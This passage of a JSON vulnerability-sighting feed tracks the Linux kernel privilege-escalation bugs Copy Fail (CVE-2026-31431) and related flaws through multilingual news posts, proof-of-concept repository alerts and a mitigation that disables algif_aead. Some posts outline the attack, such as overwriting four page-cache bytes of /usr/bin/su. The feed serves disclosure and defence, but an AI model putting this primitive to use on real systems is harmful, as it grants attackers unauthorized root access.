\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 CI, \u0445\u043e\u0441\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u044b Kubernetes, \u0433\u0434\u0435 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\nJFrog \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Debian, Ubuntu \u0438 Fedora \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0442\u0435\u043c \u0436\u0435 \u0441\u0430\u043c\u044b\u043c \u0441\u0431\u043e\u0435\u043c: \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0420\u0430\u043d\u0435\u0435:\n\n- Copy Fail (CVE-2026-31431) \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u043f\u0440\u0435\u043b\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0435\u0445\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\n\n- DirtyFrag (CVE-2026-43284 \u0438 CVE-2026-43500) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 7 \u043c\u0430\u044f, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044f \u043f\u0443\u0442\u0438 IPsec ESP \u0438 RxRPC \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- Fragnesia (CVE-2026-46300) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 13 \u043c\u0430\u044f \u0438 \u043e\u0431\u043e\u0448\u043b\u0430 \u043f\u0430\u0442\u0447 DirtyFrag \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u0431\u0440\u043e\u0441\u0430 \u0444\u043b\u0430\u0433\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 skb_try_coalesce().\n\n\u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u043e \u043e\u0434\u0438\u043d \u043f\u0443\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438. DirtyClone \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u0430 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 __pskb_copy_fclone(), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f skb_shift(), \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432, \u0433\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0444\u043b\u0430\u0433 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u0440\u044f\u043d.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b skb, \u0434\u043e\u043b\u0436\u0435\u043d \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0431\u0438\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430.\n\n\u0412 \u044f\u0434\u0440\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0445\u0440\u0430\u043d\u044f\u0449\u0443\u044e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0430 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u043f\u0443\u0442\u044c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\n\u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c 16 \u043c\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e 21 \u043c\u0430\u044f (\u043a\u043e\u043c\u043c\u0438\u0442 48f6a5356a33), 23 \u043c\u0430\u044f \u0435\u043c\u0443 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-43503, \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 Linux v7.1-rc5 24 \u043c\u0430\u044f.", "creation_timestamp": "2026-07-14T00:00:45.110098Z"}, {"uuid": "e25c84e0-c989-4466-a13e-0d5d8938dc06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nine-ch.bsky.social/post/3mqlv62fe3n25", "content": "Wenn die rote Lampe leuchtet: 0-Day im Linux-Kernel (CVE-2026-31431), noch ohne Patch. Ein paar Zeilen Python f\u00fcr root. F\u00fcnf Engineers sicherten die Flotte in einer Stunde ab, ohne Drama. NKE/Deploio liefen unber\u00fchrt auf Flatcar. \ud83d\udd12 nine.ch/de/blog/linux-kernel-0day-copy-fail/ #security #top #nine", "creation_timestamp": "2026-07-14T09:25:05.102666Z"}, {"uuid": "2af53ccc-376b-493d-9616-15e1992748f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-195-02", "content": "", "creation_timestamp": "2026-07-14T16:15:07.604180Z"}, {"uuid": "24104ddf-518d-42cb-a679-78e50815449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:09.189496Z"}, {"uuid": "b1ee1527-a8c9-4428-aba1-d28ae5504a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:09.247652Z"}, {"uuid": "b2ad194d-7287-4117-915c-f6c0791e7c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/RadiatedMonday/3454", "content": "CVE-2026-31431\nLPE \u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432\u043e\u043c \u044f\u0434\u0440\u0435. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043f\u0430\u0442\u0447\u0438, \u0435\u0441\u043b\u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435:\n\n### \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\nrmmod algif_aead", "creation_timestamp": "2026-07-15T15:00:04.558224Z"}, {"uuid": "d8ce1f2e-8a13-49f6-8455-cf60ced01887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/RadiatedMonday/3454", "content": "CVE-2026-31431\nLPE \u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432\u043e\u043c \u044f\u0434\u0440\u0435. \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043f\u0430\u0442\u0447\u0438, \u0435\u0441\u043b\u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435:\n\n### \u041e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u043c\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif.conf\nrmmod algif_aead", "creation_timestamp": "2026-07-16T00:00:09.332000Z"}, {"uuid": "45b6adb6-1d71-439e-b0d2-1b8a88b58201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/strykerapp/78278", "content": "Copy.fail\n\nCVE-2026-31431\n\nHave VPS, Kuber, Docker? I don't care, now i have root \ud83d\ude0a", "creation_timestamp": "2026-07-16T07:00:05.014411Z"}, {"uuid": "d88d8058-5a7f-42b1-8fd3-64707d12a04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-16T19:00:20.609121Z"}, {"uuid": "773c94e8-28e9-497f-9213-4902e89a10dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-17T00:00:37.025827Z"}, {"uuid": "367f0b6a-40fc-49b4-8c1e-8825570d29fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/strykerapp/78278", "content": "Copy.fail\n\nCVE-2026-31431\n\nHave VPS, Kuber, Docker? I don't care, now i have root \ud83d\ude0a", "creation_timestamp": "2026-07-17T00:00:56.612248Z"}, {"uuid": "34a21d40-5daa-4481-848d-0e0cc50b1429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.dk/news/2026-07-17/GEANT-Linux-saarbarheder-AI-og-identitetstyveri-praegede-trusselsbilledet-i-andet-kvartal", "content": "", "creation_timestamp": "2026-07-17T12:45:03.724189Z"}, {"uuid": "33de9cc9-1db8-4dbe-a1ea-a3fab74ab92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-18T00:00:23.450661Z"}, {"uuid": "8b7002dc-1ab4-4d4f-8c4a-99d1b1bc24ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/sanspie_notes/415", "content": "CVE-2026-31431\n\n\u041a\u0440\u0430\u0441\u0438\u0432\u0430\u044f \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u044f LPE \u043f\u043e\u0434 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432.\n\n\u0420\u0435\u043f\u043e\u0440\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: https://xint.io/blog/copy-fail-linux-distributions\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u0432 cache page \u043b\u044e\u0431\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\n\n\u0424\u0438\u043a\u0441: \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u043e\u0442\u0444\u0438\u043a\u0441. \u0412\u0441\u0451 \u0435\u0441\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435.\n\n\u0425\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043d\u044f)\n@disasm_me_ch", "creation_timestamp": "2026-07-19T03:00:04.176303Z"}, {"uuid": "287d4f8a-9af1-484b-aa9d-13fa89f5a4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/te9-dev.bsky.social/post/3mqxwowidwi2n", "content": "copy-fail-CVE-2026-31431 | 4.0k stars | 896 forks\n\nCopy Fail (CVE-2026-31431): 9-year-old Linux kernel LPE found by Theori's Xint Code", "creation_timestamp": "2026-07-19T04:24:19.646296Z"}, {"uuid": "d1e06896-8756-42c5-97a5-9f2f0ba70a3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/21278", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-07-19T16:00:05.127728Z"}, {"uuid": "8d8171ed-8308-4d71-9083-f018b4c6f943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1773", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.544307Z"}, {"uuid": "8f93658e-a113-4bc3-95f0-a4ae4b9ffdc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1774", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.574038Z"}, {"uuid": "d148a226-7c3b-48ab-ad47-563301daa850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1776", "content": "\ud83d\udd25 CVE-2026-31431: \"Copy Fail\" \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 Root \u0432 Linux \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \ud83d\ude31\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0438 AI, \u0432 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0434\u0446\u0435 Linux \u043d\u0430\u0448\u043b\u0438 \u0431\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0438\u043b \u0442\u0430\u043c \u0441 2017 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \"Copy Fail\", \u0438 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0430\u0442\u044c root-\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435.\n\n\ud83d\udca5 \u0412 \u0447\u0435\u043c \u043f\u0440\u0438\u043a\u043e\u043b?\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u044f\u0434\u0440\u0430 (algif_aead). \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 9-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f\u0445 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c splice(), \u044f\u0434\u0440\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0430 